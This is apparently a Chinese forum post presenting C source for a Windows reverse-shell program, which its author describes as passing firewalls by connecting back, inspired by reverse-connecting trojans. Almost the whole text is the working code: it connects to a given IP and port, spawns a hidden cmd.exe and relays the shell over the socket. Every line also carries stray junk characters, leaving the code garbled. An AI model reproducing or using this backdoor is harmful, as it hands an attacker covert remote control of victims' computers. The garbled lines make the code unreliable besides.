Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 v.ZUYa|  
GMU!GSY  
/* ============================== s}zR@ !`  
Rebound port in Windows NT | BaEv\$K  
By wind,2006/7 yY]x''K  
===============================*/ &dB@n15'A  
#include lDS y$  
#include LWrYKi  
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#pragma comment(lib,"wsock32.lib") d=1\=d/K  
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void OutputShell(); JMAdsg/  
SOCKET sClient; R0t!y3r&N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0>[]Da}  
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void main(int argc,char **argv) |AvPg  
{ +G;<D@gSa0  
WSADATA stWsaData; h-p}Qil,  
int nRet; J;sQvPHV8  
SOCKADDR_IN stSaiClient,stSaiServer; EH".ki=e  
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if(argc != 3) x(?Rm
,  
{ E8C8kH]  
printf("Useage:\n\rRebound DestIP DestPort\n"); (XK,g;RoEn  
return; w,hm_aDq  
} GwO`
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WSAStartup(MAKEWORD(2,2),&stWsaData); kTjn%Sn,  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \p:)Cdn  
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stSaiClient.sin_family = AF_INET; q,K|1+jn  
stSaiClient.sin_port = htons(0); G 1{m"1M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wn"\@QvG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fAh|43Y*a  
{ olv&K(-ccI  
printf("Bind Socket Failed!\n"); iKq_s5|sW  
return; (ot,CpI(I  
} u.E>d9  
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stSaiServer.sin_family = AF_INET; 0Hrvr  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hq"nRH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rzdQLan  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j6s j2D  
{ ts=D

  
printf("Connect Error!"); }:?*n:g5  
return; DXJw)%G w  
} y/@Bhzc  
OutputShell(); &q&z$Gc;m  
} f (C:J[;Z  
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void OutputShell() mN-O{k0\  
{ +
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char szBuff[1024]; FM%WMyb[  
SECURITY_ATTRIBUTES stSecurityAttributes; UhR^Y{W5  
OSVERSIONINFO stOsversionInfo; "IS; o o$g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,3rsjoKhd  
STARTUPINFO stStartupInfo; #
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char *szShell; !"FEp  
PROCESS_INFORMATION stProcessInformation; H/t0#  
unsigned long lBytesRead; aGWO3Nk  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i`YZ;L L  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TFldYKd/l  
stSecurityAttributes.lpSecurityDescriptor = 0; ~M7X]  
stSecurityAttributes.bInheritHandle = TRUE; iwIn3R,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N9ipwr'P  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u/k' ry=  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C!_=L?QT^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eG+$~\%Fub  
stStartupInfo.wShowWindow = SW_HIDE; O-0 5.  
stStartupInfo.hStdInput = hReadPipe; 'RwfW|~6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Qraq{'3  
yl*%P3m|  
GetVersionEx(&stOsversionInfo); ka=A:biz  
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switch(stOsversionInfo.dwPlatformId) *s, bz.[  
{ nVlZ_72d  
case 1: 4]}d'x&  
szShell = "command.com"; yC@PMyE]  
break; H.hKh  
default: t.&JPTK-H  
szShell = "cmd.exe"; <=!t!_  
break; {%6 '|<`[  
} uih8ZmRt  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @@a#DjE%/  
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send(sClient,szMsg,77,0); ^69(V LK  
while(1) TN Z-0  
{ -~sW@u)O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f*V^HfiQb  
if(lBytesRead) T&1-gswr:  
{ 8/B8yY-O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qi^kf  
send(sClient,szBuff,lBytesRead,0); s o: o b}  
} H [M:iV  
else E690'\)31  
{ 3p-SpUvp  
lBytesRead=recv(sClient,szBuff,1024,0); d:Z|It  
if(lBytesRead<=0) break; )-XD= ]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8xj_)=(sV!  
} )4ok@^.  
} { zL4dJw  
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return; 8\)4waz$  
}